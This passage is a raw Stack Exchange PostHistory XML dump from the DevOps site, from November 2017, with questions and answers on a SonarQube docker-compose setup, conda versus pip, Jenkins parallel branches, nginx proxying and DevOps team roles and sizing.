  <row Id="8429" PostHistoryTypeId="2" PostId="2700" RevisionGUID="e1def37f-c875-4ec7-bba5-1121f2603f49" CreationDate="2017-11-26T19:30:22.453" UserId="210" Text="I ran into the same issue and found this docker-compose file that is able to start postgres and sonarqube.&#xD;&#xA;&#xD;&#xA;https://github.com/SonarSource/docker-sonarqube/blob/master/recipes.md&#xD;&#xA;&#xD;&#xA;&gt;     version: &quot;2&quot;&#xD;&#xA;&gt;     &#xD;&#xA;&gt;     services:&#xD;&#xA;&gt;       sonarqube:&#xD;&#xA;&gt;         image: sonarqube&#xD;&#xA;&gt;         ports:&#xD;&#xA;&gt;           - &quot;9000:9000&quot;&#xD;&#xA;&gt;         networks:&#xD;&#xA;&gt;           - sonarnet&#xD;&#xA;&gt;         environment:&#xD;&#xA;&gt;           - SONARQUBE_JDBC_URL=jdbc:postgresql://db:5432/sonar&#xD;&#xA;&gt;         volumes:&#xD;&#xA;&gt;           - sonarqube_conf:/opt/sonarqube/conf&#xD;&#xA;&gt;           - sonarqube_data:/opt/sonarqube/data&#xD;&#xA;&gt;           - sonarqube_extensions:/opt/sonarqube/extensions&#xD;&#xA;&gt;           - sonarqube_bundled-plugins:/opt/sonarqube/lib/bundled-plugins&#xD;&#xA;&gt;     &#xD;&#xA;&gt;       db:&#xD;&#xA;&gt;         image: postgres&#xD;&#xA;&gt;         networks:&#xD;&#xA;&gt;           - sonarnet&#xD;&#xA;&gt;         environment:&#xD;&#xA;&gt;           - POSTGRES_USER=sonar&#xD;&#xA;&gt;           - POSTGRES_PASSWORD=sonar&#xD;&#xA;&gt;         volumes:&#xD;&#xA;&gt;           - postgresql:/var/lib/postgresql&#xD;&#xA;&gt;           # This needs explicit mapping due to https://github.com/docker-library/postgres/blob/4e48e3228a30763913ece952c611e5e9b95c8759/Dockerfile.template#L52&#xD;&#xA;&gt;           - postgresql_data:/var/lib/postgresql/data&#xD;&#xA;&gt;     &#xD;&#xA;&gt;     networks:&#xD;&#xA;&gt;       sonarnet:&#xD;&#xA;&gt;         driver: bridge&#xD;&#xA;&gt;     &#xD;&#xA;&gt;     volumes:&#xD;&#xA;&gt;       sonarqube_conf:&#xD;&#xA;&gt;       sonarqube_data:&#xD;&#xA;&gt;       sonarqube_extensions:&#xD;&#xA;&gt;       sonarqube_bundled-plugins:&#xD;&#xA;&gt;       postgresql:&#xD;&#xA;&gt;       postgresql_data:" ContentLicense="CC BY-SA 3.0" />
  <row Id="8431" PostHistoryTypeId="2" PostId="2701" RevisionGUID="c456ea20-edf5-4add-9451-48330f55adf3" CreationDate="2017-11-26T20:11:05.543" UserId="210" Text="According to Wikipedia &#xD;&#xA;&#xD;&#xA;&gt; [Manufacturing][1] is the production of merchandise for use or sale using&#xD;&#xA;&gt; labour and machines, tools, chemical and biological processing, or&#xD;&#xA;&gt; formulation.&#xD;&#xA;&#xD;&#xA;and &#xD;&#xA;&#xD;&#xA;&gt; a [project][2] is an individual or collaborative enterprise, possibly&#xD;&#xA;&gt; involving research or design, that is carefully planned, usually by a&#xD;&#xA;&gt; project team, to achieve a particular aim.&#xD;&#xA;&#xD;&#xA;Based on the definitions Software Development could both be seen as **Manufacturing** and **a Project**. &#xD;&#xA;&#xD;&#xA;It could be seen as **manufacturing** from a deliverables perspective as Development activities mean that that the software is created, but does not guarantee quality. Therefore QA is required and to get it online Operations tasks are needed as well. In summary, Software Development could be seen as **manufacturing** as multiple specialisms are required to make the feature available for a customer.&#xD;&#xA;&#xD;&#xA;It could also be compared with **a project** as the Dev team itself does R&amp;D and creates a (software) product.&#xD;&#xA;&#xD;&#xA;From a DevOps perspective I would advocate to compare Software Development with **manufacturing** rather than **project** as DevOps is about let work multiple specialisms together and not about creating silos like **project**.&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Manufacturing&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Project" ContentLicense="CC BY-SA 3.0" />
  <row Id="8432" PostHistoryTypeId="2" PostId="2702" RevisionGUID="929afb96-0446-4003-8ee4-c1bfea8bbd8a" CreationDate="2017-11-26T20:32:33.483" UserId="60" Text="We are currently using `pip`+`virtualenv` and install all our Python dependencies during the application build step on the CI. This requires compiling some of the packages, which contain C modules, which takes time and requires the build servers to have required system-level &quot;development libraries&quot; installed.&#xD;&#xA;&#xD;&#xA;From what I understand, [Anaconda][1] can install *pre-built packages* allowing to skip the complication step altogether making the builds faster and not needing to have certain development packages.&#xD;&#xA;&#xD;&#xA;Has anyone gone through `pip`+`virtualenv` to `conda` transition? What could be the downsides and potential problems of switching to `conda` for building and installing Python dependencies? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.anaconda.com/" ContentLicense="CC BY-SA 3.0" />
  <row Id="8433" PostHistoryTypeId="1" PostId="2702" RevisionGUID="929afb96-0446-4003-8ee4-c1bfea8bbd8a" CreationDate="2017-11-26T20:32:33.483" UserId="60" Text="Using Anaconda instead of pip+virtualenv" ContentLicense="CC BY-SA 3.0" />
  <row Id="8434" PostHistoryTypeId="3" PostId="2702" RevisionGUID="929afb96-0446-4003-8ee4-c1bfea8bbd8a" CreationDate="2017-11-26T20:32:33.483" UserId="60" Text="&lt;deployment&gt;&lt;python&gt;&lt;builds&gt;&lt;virtualenv&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8435" PostHistoryTypeId="2" PostId="2703" RevisionGUID="932c1ecb-04ea-4e8b-a210-3c65d4a10c63" CreationDate="2017-11-26T20:49:42.690" UserId="210" Text="DevOps is about preventing silos and let teams work more together then let them throwing things over the wall. In an ideal situation every individual in a DevOps team is able to create programs, test them and make them available to the customer. According to me an important competence of a DevOps engineer is communication as this is required to get acceptance in a team and among teams  for new tools and processes.&#xD;&#xA;&#xD;&#xA;The more I think about it the more I get doubts regarding the structure and responsibilities in a team. From a DevOps perspective, every individual should be able to do dev, qa and ops activities, but if you compare it with for example football, all players need to be able to kick a ball, but some of them are specialized in goalkeeping and others in scoring goals. So a DevOps team could exist of QA, Ops and Dev engineers, but all of them are able to test, create and deploy software and are a basically able to kick a ball like in football. &#xD;&#xA;&#xD;&#xA;As DevOps does not mean specialzed in dev, qa and ops, like goalkeepers will normally not score as much as a striker, is CD a profession or is it one of the DevOps tasks, or should it be everybody's responsibility, but why are Dev, QA and Ops engineer part of a DevOps team as well? From that perspective there should be a CD engineer as well, but CI is not part of CD. Should two professions, i.e. CI engineer and CD engineer be part of DevOps team as well?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8436" PostHistoryTypeId="1" PostId="2703" RevisionGUID="932c1ecb-04ea-4e8b-a210-3c65d4a10c63" CreationDate="2017-11-26T20:49:42.690" UserId="210" Text="Is CI/CD part of DevOps engineer or are CI and CD engineers separate professions?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8437" PostHistoryTypeId="3" PostId="2703" RevisionGUID="932c1ecb-04ea-4e8b-a210-3c65d4a10c63" CreationDate="2017-11-26T20:49:42.690" UserId="210" Text="&lt;terminology&gt;&lt;organization&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8438" PostHistoryTypeId="2" PostId="2704" RevisionGUID="db491530-dc3d-4413-8b64-474b63c70001" CreationDate="2017-11-26T20:51:04.487" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="8439" PostHistoryTypeId="1" PostId="2704" RevisionGUID="db491530-dc3d-4413-8b64-474b63c70001" CreationDate="2017-11-26T20:51:04.487" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8440" PostHistoryTypeId="2" PostId="2705" RevisionGUID="ce81f677-1dce-41cd-93e0-ed7aaba9bedb" CreationDate="2017-11-26T20:51:04.487" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="8441" PostHistoryTypeId="1" PostId="2705" RevisionGUID="ce81f677-1dce-41cd-93e0-ed7aaba9bedb" CreationDate="2017-11-26T20:51:04.487" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8442" PostHistoryTypeId="4" PostId="2703" RevisionGUID="9b155b47-e0a2-44ab-86ea-19c56c1d512a" CreationDate="2017-11-26T20:56:18.490" UserId="210" Comment="edited title" Text="Are CI and CD DevOps team tasks or are these separate professions?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8443" PostHistoryTypeId="5" PostId="2693" RevisionGUID="df22ee01-ebb1-4586-b264-3db4c0dfda40" CreationDate="2017-11-26T21:42:53.580" UserId="5291" Comment="added 8 characters in body" Text="How I can set minikube to auto start on windows 10 login? I checked but I can't find anything on google. &#xD;&#xA;&#xD;&#xA;I saw that there is a default parameter `autostart-enabled=off` but I dont know where I can set it. &#xD;&#xA;&#xD;&#xA;At the moment after I restart my pc I can see in Hyper-V Manager that the minikube machine is running but when I try minikube dashboard in terminal I get: &#xD;&#xA;&#xD;&#xA;&gt; minikube is not currently running so the service cannot be accessed" ContentLicense="CC BY-SA 3.0" />
  <row Id="8444" PostHistoryTypeId="2" PostId="2706" RevisionGUID="fd8fca44-7c6d-4970-bb55-f08e06254c5c" CreationDate="2017-11-27T02:26:41.640" UserId="5388" Text="Your nginx code is incorrect, for example, because you're effectively losing the extra functionality afforded by http://nginx.org/r/proxy_redirect default value of `default`.&#xD;&#xA;&#xD;&#xA;As per the documentation at http://nginx.org/r/proxy_pass, the correct way would be to map location on the front-end and back-end directly within the `proxy_pass`, especially if you don't need to be using any variables:&#xD;&#xA;&#xD;&#xA;    location / {&#xD;&#xA;        proxy_pass http://127.0.0.1:8080/ipns/QmdpoFuwY/;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Otherwise, back to your question, there is absolutely no reason to have `/foo` and `/foo/` point to the same resource.&#xD;&#xA;&#xD;&#xA;In fact, it would be perfectly legal for one to be internally expanded to `/foo.html`, whereas for the other to `/foo/index.html`, so, the fact that different results are returned is entirely normal, and doesn't need to be fixed." ContentLicense="CC BY-SA 3.0" />
  <row Id="8445" PostHistoryTypeId="2" PostId="2707" RevisionGUID="01f0d61f-8aed-43e3-bf22-5c21b613c9ee" CreationDate="2017-11-27T03:47:34.617" UserId="5380" Text="In my field (science) Anaconda is probably the most common Python distribution in use. conda is the package manager (just to be clear of the distinction).&#xD;&#xA;&#xD;&#xA;It is difficult to find fault in conda when compared with pip+virtualenv.&#xD;&#xA;&#xD;&#xA;The one point that I would make is that the Anaconda distribution is meant to be installed per user. If you have a Python environment that is shared across users there is no way of doing the equivalent of `pip install --user` with conda (but read on for a surprising solution...). Nor users can create conda environments.&#xD;&#xA;&#xD;&#xA;So, if you are considering a single user installation go ahead and try Anaconda. It is worth a try&#xD;&#xA;&#xD;&#xA;Note that you can use pip with Anaconda... they are not incompatible. In fact that can be quite useful in a shared installation.&#xD;&#xA;&#xD;&#xA;I have setup a shared-user conda installation where users can install user-space packages with... `pip install --user`.&#xD;&#xA;&#xD;&#xA;In a shared installation I do not see how users can create their own conda environments (conda has environments). And I bet conda+virtualenv would be a mess.&#xD;&#xA;&#xD;&#xA;Note that conda is not Python tied: First you can have a conda installation with both Python 2 and 3 - and conda manages environments very well. But you can also have conda install Perl, R. In fact that is quite common. Our Perl interpreter is provided by Anaconda ;)&#xD;&#xA;&#xD;&#xA;Also I suspect conda is probably stronger in Linux and Mac OSes. Windows is less well supported. For other operating systems, there are probably no packages (or they will be limited)." ContentLicense="CC BY-SA 3.0" />
  <row Id="8454" PostHistoryTypeId="2" PostId="2711" RevisionGUID="30a24850-5e3b-4fa1-b5ec-b786659a73cf" CreationDate="2017-11-27T09:36:12.010" UserId="5393" Text="I am running a Jenkins job on multiple slaves. Following is the code structure:&#xD;&#xA;&#xD;&#xA;    def allNodes = Jenkins.getInstance().getNodes()&#xD;&#xA;    for (int i =0; i &lt; allNodes.size(); i++) {&#xD;&#xA;    branches[nodeList[i].name.toString()] = {&#xD;&#xA;        node(nodeList[i].name.toString()) { &#xD;&#xA;        .&#xD;&#xA;        .&#xD;&#xA;        stuff&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;    parallel branches&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Now, I want to get the status of the job parts running on nodes so that in case some job part fails on some node I can mark that node as offline. Is there any way to do this?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8455" PostHistoryTypeId="1" PostId="2711" RevisionGUID="30a24850-5e3b-4fa1-b5ec-b786659a73cf" CreationDate="2017-11-27T09:36:12.010" UserId="5393" Text="How to check return status of parallel branches in jenkins pipeline" ContentLicense="CC BY-SA 3.0" />
  <row Id="8456" PostHistoryTypeId="3" PostId="2711" RevisionGUID="30a24850-5e3b-4fa1-b5ec-b786659a73cf" CreationDate="2017-11-27T09:36:12.010" UserId="5393" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;jenkinsfile&gt;&lt;groovy&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8460" PostHistoryTypeId="2" PostId="2712" RevisionGUID="ea7d5741-9478-4a28-b6d5-48149048893d" CreationDate="2017-11-27T10:14:28.160" UserId="40" Text="Ypu may want to give it a try using the [Join plugin](http://wiki.jenkins-ci.org/display/JENKINS/Join+Plugin). Some more details about this plugin (from the linked page):&#xD;&#xA;&#xD;&#xA;&gt; This plugin allows a job to be run after all the immediate downstream jobs have completed. In this way, the execution can branch out and perform many steps in parallel, and then run a final aggregation step just once after all the parallel work is finished.&#xD;&#xA;&#xD;&#xA;&gt; The plugin is useful for creating a 'diamond' shape project dependency.   This means there is a single parent job that starts several downstream jobs. Once those jobs are finished, a single aggregation job runs.&#xD;&#xA;&#xD;&#xA;For more details on that, refer to my self answered question about &quot;https://devops.stackexchange.com/q/717/40&quot;." ContentLicense="CC BY-SA 3.0" />
  <row Id="8461" PostHistoryTypeId="5" PostId="2711" RevisionGUID="b12841cc-37a5-4e12-b0fa-11163a56cfef" CreationDate="2017-11-27T10:30:45.973" UserId="5393" Comment="edited body" Text="I am running a Jenkins job on multiple slaves. Following is the code structure:&#xD;&#xA;&#xD;&#xA;    def branches = [:]&#xD;&#xA;    def allNodes = Jenkins.getInstance().getNodes()&#xD;&#xA;    for (int i =0; i &lt; allNodes.size(); i++) {&#xD;&#xA;    branches[allNodes[i].name.toString()] = {&#xD;&#xA;        node(allNodes[i].name.toString()) { &#xD;&#xA;        .&#xD;&#xA;        .&#xD;&#xA;        stuff&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;    parallel branches&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Now, I want to get the status of the job parts running on nodes so that in case some job part fails on some node I can mark that node as offline. Is there any way to do this?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8462" PostHistoryTypeId="5" PostId="2691" RevisionGUID="e7bc711d-b727-4d2c-ae4f-48a4f7b1d065" CreationDate="2017-11-27T11:30:41.153" UserId="707" Comment="added 2 characters in body" Text="Two example integrations of Docker and Kubernetes are OpenShift and Rancher Labs AFAIK.&#xD;&#xA;&#xD;&#xA;Sadly but in fact we have not completely escaped us from the dependency hell.&#xD;&#xA;&#xD;&#xA;**Question: is there an established source of information which distributions here package which versions (like Ubutu/Debian version chronicles on Wikipedia)?**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;*Background.* &#xD;&#xA;&#xD;&#xA;Not-so-obvious facts for newbies (judged by my learnings so far) are (defining acceptable technical usability to a level that you do no need hours to debug even 101 tutorials):&#xD;&#xA;&#xD;&#xA;- Kubernetes is very dynamic project and it is not so easy to deploy it as-is (but seem to get better with each version, also thanks to kubeadm I would say)&#xD;&#xA;- Kubernetes does not support any Docker versions coming after the community fork to moby and Docker CE.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8463" PostHistoryTypeId="5" PostId="2590" RevisionGUID="2e0b899f-e97a-4e54-bc43-69a25e803ed7" CreationDate="2017-11-27T11:43:35.487" UserId="707" Comment="added 206 characters in body" Text="By Adam Smith, labour division can make you *by 240 times* more effective (on example of a pin factory producing pins in 18 steps).&#xD;&#xA;&#xD;&#xA;**Why then are multi-skilled roles are so in demand if this actually reduces productivity - or was Smith just wrong, why then?**&#xD;&#xA;&#xD;&#xA;Searches for &quot;fullstack developer&quot; still trend on Google, however apparently slower than two years ago:&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1] &#xD;&#xA;&#xD;&#xA;=====&#xD;&#xA;&#xD;&#xA;To sum up, a *full stack developer* would be able do virtually all the value chain (correct me if I am wrong):&#xD;&#xA;&#xD;&#xA;- Discuss with customers and refine workable agile requirements for his part of the job&#xD;&#xA;- Decide which architecture, tooling and components pick up - just give him a notebook&#xD;&#xA;- Write code for frontend, backend, ingration, which is cross device compatile and does not requrire much testing, or includes it&#xD;&#xA;- Profile and scape data, use Cloud AI/ML APIs for advanced features&#xD;&#xA;- Write up required IaC code and rollout&#xD;&#xA;- Be on call in case of error or sales processes&#xD;&#xA;- Be aware of security relevant design, overall patching, migration and modernization&#xD;&#xA;- Account time table in a scroutinized way to ease invoicing of the employer&#xD;&#xA;- ... did I forget anything?&#xD;&#xA;&#xD;&#xA;UPD - &quot;*we need the productivity of specialisation but we don’t want the insular worldview of “extreme division of labour*”. (DevOps Guys, &quot;DevOps, Adam Smith and the legend of the Generalist&quot;, 2013-2016)&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/2a7ie.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="8467" PostHistoryTypeId="2" PostId="2714" RevisionGUID="e20bb4c8-b941-433b-8bf2-21be13391bc9" CreationDate="2017-11-27T12:16:59.683" UserId="707" Text="The comparison of a software delivery team to a football (all can kick the ball but someone will be a goalkeeper or a forward) can be a nice input for further thought regarding [division of labour and specialists vs. generalists][1].&#xD;&#xA;&#xD;&#xA;So, it seems more to me than just &quot;[you should never try to hire a DevOps team][2]&quot; - because if you hire &quot;a football team&quot; you do not just want &quot;somebody kick the ball in the FIFA World Cup&quot;, but you possibly want to have an idea what makes the team having chances to win.&#xD;&#xA;&#xD;&#xA;So, winning teams can be a product themselves (can't find the reference for that but there are enough startup acquisions, I'm sure it is not always just about the product) - what is the receipt for success? &#xD;&#xA;For sure there is a lot of soft skills/cultural related context, but this would be true for virtually every team. &#xD;&#xA;&#xD;&#xA;What are *mandatory* DevOps specific requirements to skill sets for a winning team setup? Will be there a relationship between numbers of CI/CD experts and those who focus on development, or operations? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/questions/2590/adam-smith-vs-fullstack-developers-and-productivity-in-devops&#xD;&#xA;  [2]: https://devops.stackexchange.com/questions/797/why-shouldnt-i-try-to-hire-a-devops-engineer" ContentLicense="CC BY-SA 3.0" />
  <row Id="8468" PostHistoryTypeId="1" PostId="2714" RevisionGUID="e20bb4c8-b941-433b-8bf2-21be13391bc9" CreationDate="2017-11-27T12:16:59.683" UserId="707" Text="Receipt for hiring a winning DevOps empowered team?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8469" PostHistoryTypeId="3" PostId="2714" RevisionGUID="e20bb4c8-b941-433b-8bf2-21be13391bc9" CreationDate="2017-11-27T12:16:59.683" UserId="707" Text="&lt;team-role&gt;&lt;human-resources&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8470" PostHistoryTypeId="2" PostId="2715" RevisionGUID="aff4d20d-ab62-43a1-8fb1-9aeb5bc7e6d6" CreationDate="2017-11-27T12:22:17.213" UserId="707" Text="Given that DevOps allows IT staff actually to downscale and do more through all the automation, what are limits to that? &#xD;&#xA;&#xD;&#xA;That is, what are rules of thumb - if there can be any - where you would know you need more people despite [rapidly progressing rates of automation][1] and introduction of RPA ([Robotic Process Automation][2])?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/questions/2635/from-6-months-to-16-seconds-grokking-devops-speedup-data-from-devops-report-by&#xD;&#xA;  [2]: https://devops.meta.stackexchange.com/questions/243/is-rpa-robotic-process-automation-a-topic-for-devops-and-so-on-topic-here" ContentLicense="CC BY-SA 3.0" />
  <row Id="8471" PostHistoryTypeId="1" PostId="2715" RevisionGUID="aff4d20d-ab62-43a1-8fb1-9aeb5bc7e6d6" CreationDate="2017-11-27T12:22:17.213" UserId="707" Text="IT staff sizing in the DevOps era - how and whe would a DevOps team scale up?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8472" PostHistoryTypeId="3" PostId="2715" RevisionGUID="aff4d20d-ab62-43a1-8fb1-9aeb5bc7e6d6" CreationDate="2017-11-27T12:22:17.213" UserId="707" Text="&lt;culture&gt;&lt;automation&gt;&lt;human-resources&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8476" PostHistoryTypeId="4" PostId="2715" RevisionGUID="dcda4c92-44e5-4cd5-aee8-0bd0a665bc73" CreationDate="2017-11-27T12:47:52.893" UserId="707" Comment="edited title" Text="IT staff sizing in the DevOps era - how and when would a DevOps team scale up?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8477" PostHistoryTypeId="5" PostId="2715" RevisionGUID="dcda4c92-44e5-4cd5-aee8-0bd0a665bc73" CreationDate="2017-11-27T12:47:52.893" UserId="707" Comment="edited title" Text="Given that DevOps allows IT staff actually to downscale and do more through all the automation, what are limits to that? &#xD;&#xA;&#xD;&#xA;That is, what are rules of thumb - if there can be any - where you would know you need more people despite [rapidly progressing rates of automation][1] and introduction of RPA ([Robotic Process Automation][2])?&#xD;&#xA;&#xD;&#xA;Note: this is about the size of the whole IT deparments put in relationsship to your business (size of a single team is well defined by the [two-pizza team][3] concept).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/questions/2635/from-6-months-to-16-seconds-grokking-devops-speedup-data-from-devops-report-by&#xD;&#xA;  [2]: https://devops.meta.stackexchange.com/questions/243/is-rpa-robotic-process-automation-a-topic-for-devops-and-so-on-topic-here&#xD;&#xA;  [3]: http://blog.idonethis.com/two-pizza-team/" ContentLicense="CC BY-SA 3.0" />
  <row Id="8478" PostHistoryTypeId="2" PostId="2716" RevisionGUID="6012db1a-bf1a-40ce-ab7f-f7bf5ba111bb" CreationDate="2017-11-27T13:01:54.957" UserId="5390" Text="DevOps is a combination of two roles Development and Operations, CI &amp; CD are the main role a DevOps must be doing. Continuous Integration (CI) is a part of developer's role and Continuous Deployment/Delivery is a part of operation/infra/release-management role. In the agile methodology of development we've combined these two different role to a new position called DevOps who'll be responsible for release management or deployment. Thus it is a mandatory for a DevOps to know about CI &amp; CD." ContentLicense="CC BY-SA 3.0" />
  <row Id="8479" PostHistoryTypeId="5" PostId="2691" RevisionGUID="591641f8-1d4e-4341-9ba2-90c6cb2a8b01" CreationDate="2017-11-27T13:05:16.183" UserId="707" Comment="added 99 characters in body" Text="Two example integrations of Docker and Kubernetes are OpenShift and Rancher Labs AFAIK.&#xD;&#xA;&#xD;&#xA;Sadly but in fact we have not completely escaped us from the dependency hell.&#xD;&#xA;&#xD;&#xA;**Question: is there an established source of information which distributions here package which versions (like Ubutu/Debian version chronicles on Wikipedia)?**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;*Background.* &#xD;&#xA;&#xD;&#xA;Not-so-obvious facts for newbies (judged by my learnings so far) are (defining acceptable technical usability to a level that you do no need hours to debug even 101 tutorials):&#xD;&#xA;&#xD;&#xA;- Kubernetes is very dynamic project and it is not so easy to deploy it as-is (but seem to get better with each version, also thanks to kubeadm I would say)&#xD;&#xA;- Kubernetes does not support any Docker versions coming after the community fork to moby and Docker CE.&#xD;&#xA;&#xD;&#xA;See also: https://stackoverflow.com/questions/44657320/which-docker-versions-will-k8s-1-7-support" ContentLicense="CC BY-SA 3.0" />
  <row Id="8480" PostHistoryTypeId="2" PostId="2717" RevisionGUID="f79c58af-cbdd-4b4c-b16f-5c72227769a7" CreationDate="2017-11-27T13:11:29.577" UserId="5390" Text="Yes !&#xD;&#xA;&#xD;&#xA;There's an API available on Google Cloud &amp; you can find more details about it on https://cloud.google.com/translate/" ContentLicense="CC BY-SA 3.0" />
  <row Id="8481" PostHistoryTypeId="2" PostId="2718" RevisionGUID="13de0b04-63b3-42e0-a384-6c5332159032" CreationDate="2017-11-27T14:47:52.870" UserId="3796" Text="Yes, when using Docker Swarm you'll still want to use Gunicorn in your Docker containers.&#xD;&#xA;&#xD;&#xA;Gunicorn is necessary to facilitate the communication between the server and your web application. In the case of a Dockerized Flask application this is still the case as Gunicorn handles the communication between the Flask application and the Docker container. Adding Docker Swarm to this stack basically just means that you have more instances of your container, and that Swarm will handle balancing the incoming requests to each instance." ContentLicense="CC BY-SA 3.0" />
  <row Id="8482" PostHistoryTypeId="5" PostId="2714" RevisionGUID="648b6bcb-6aac-46fb-98c7-36f7e6e99e57" CreationDate="2017-11-27T15:49:02.703" UserId="707" Comment="added 22 characters in body" Text="The comparison of a software delivery team to a football team (all can kick the ball but only some will become an excellent goalkeeper or a forward) can be a nice input for further thought regarding [division of labour and specialists vs. generalists][1].&#xD;&#xA;&#xD;&#xA;So, it seems more to me than just &quot;[you should never try to hire a DevOps team][2]&quot; - because if you hire &quot;a football team&quot; you do not just want &quot;somebody kick the ball in the FIFA World Cup&quot;, but you possibly want to have an idea what makes the team having chances to win.&#xD;&#xA;&#xD;&#xA;So, winning teams can be a product themselves (can't find the reference for that but there are enough startup acquisions, I'm sure it is not always just about the product) - what is the receipt for success? &#xD;&#xA;For sure there is a lot of soft skills/cultural related context, but this would be true for virtually every team. &#xD;&#xA;&#xD;&#xA;What are *mandatory* DevOps specific requirements to skill sets for a winning team setup? Will be there a relationship between numbers of CI/CD experts and those who focus on development, or operations? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/questions/2590/adam-smith-vs-fullstack-developers-and-productivity-in-devops&#xD;&#xA;  [2]: https://devops.stackexchange.com/questions/797/why-shouldnt-i-try-to-hire-a-devops-engineer" ContentLicense="CC BY-SA 3.0" />
  <row Id="8483" PostHistoryTypeId="5" PostId="2590" RevisionGUID="b5667c39-5268-4849-be1c-cfc25f84f45b" CreationDate="2017-11-27T15:52:01.453" UserId="707" Comment="added 105 characters in body" Text="By Adam Smith, labour division can make you *by 240 times* more effective (on example of a pin factory producing pins in 18 steps).&#xD;&#xA;&#xD;&#xA;**Why then are multi-skilled roles are so in demand if this actually reduces productivity - or was Smith just wrong, why then?**&#xD;&#xA;&#xD;&#xA;Searches for &quot;fullstack developer&quot; still trend on Google, however apparently slower than two years ago:&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1] &#xD;&#xA;&#xD;&#xA;=====&#xD;&#xA;&#xD;&#xA;To sum up, a *full stack developer* would be able do virtually all the value chain (correct me if I am wrong):&#xD;&#xA;&#xD;&#xA;- Discuss with customers and refine workable agile requirements for his part of the job&#xD;&#xA;- Decide which architecture, tooling and components pick up - just give him a notebook&#xD;&#xA;- Write code for frontend, backend, ingration, which is cross device compatile and does not requrire much testing, or includes it&#xD;&#xA;- Profile and scape data, use Cloud AI/ML APIs for advanced features&#xD;&#xA;- Write up required IaC code and rollout&#xD;&#xA;- Be on call in case of error or sales processes&#xD;&#xA;- Be aware of security relevant design, overall patching, migration and modernization&#xD;&#xA;- Account time table in a scroutinized way to ease invoicing of the employer&#xD;&#xA;- ... did I forget anything?&#xD;&#xA;&#xD;&#xA;UPD - &quot;*we need the productivity of specialisation but we don’t want the insular worldview of “extreme division of labour*”. (DevOps Guys, [&quot;DevOps, Adam Smith and the legend of the Generalist&quot;][2], 2013-2016)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/2a7ie.png&#xD;&#xA;  [2]: https://www.devopsguys.com/2013/09/24/devops-adam-smith-and-the-legend-of-the-generalist/" ContentLicense="CC BY-SA 3.0" />
  <row Id="8484" PostHistoryTypeId="5" PostId="2715" RevisionGUID="201f414d-3687-49be-a151-fd19d49d26ae" CreationDate="2017-11-27T16:20:28.007" UserId="707" Comment="added 45 characters in body" Text="Given that DevOps allows IT staff actually to downscale and do more through all the automation, what are limits to that? &#xD;&#xA;&#xD;&#xA;That is, what are rules of thumb - if there can be any - where you would know you need more people despite [rapidly progressing rates of automation][1] and introduction of RPA ([Robotic Process Automation][2])?&#xD;&#xA;&#xD;&#xA;Note: this is about the staff size of the whole IT deparments altogether put in relationship to your business size, structure and function (size of a single team is well defined by the [two-pizza team][3] concept).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/questions/2635/from-6-months-to-16-seconds-grokking-devops-speedup-data-from-devops-report-by&#xD;&#xA;  [2]: https://devops.meta.stackexchange.com/questions/243/is-rpa-robotic-process-automation-a-topic-for-devops-and-so-on-topic-here&#xD;&#xA;  [3]: http://blog.idonethis.com/two-pizza-team/" ContentLicense="CC BY-SA 3.0" />
  <row Id="8485" PostHistoryTypeId="2" PostId="2719" RevisionGUID="3b8e24d7-5d9e-49f0-a0fc-d13c72c2eab7" CreationDate="2017-11-27T17:58:25.463" UserId="47" Text="IMHO it's not a good idea to directly and immediately apply a team's gains from its DevOps transformation into scaling the team **down**. At best you'll lose just the team's motivation to do any such improvement in the future. But most likely you'll lose most/all the talent in that team.&#xD;&#xA;&#xD;&#xA;Instead:&#xD;&#xA;&#xD;&#xA;- allow the team to appreciate the benefits of the difficult transformation they went through, so that they spread the word to your other teams that will have to go through (or are already struggling with) the transformation&#xD;&#xA;- focus on delivering better quality products/services, faster - with the same team - this is now possible due to the transformation.&#xD;&#xA;- in many cases your business will pick up speed because of the transformation - soon you'll more likely need to hire people - IMHO it's better to use the experience of the ones you already have rather than educating new hires&#xD;&#xA;- allow voluntary attrition to work for you and get the effective downscaling down the road.&#xD;&#xA;&#xD;&#xA;But generally the DevOps 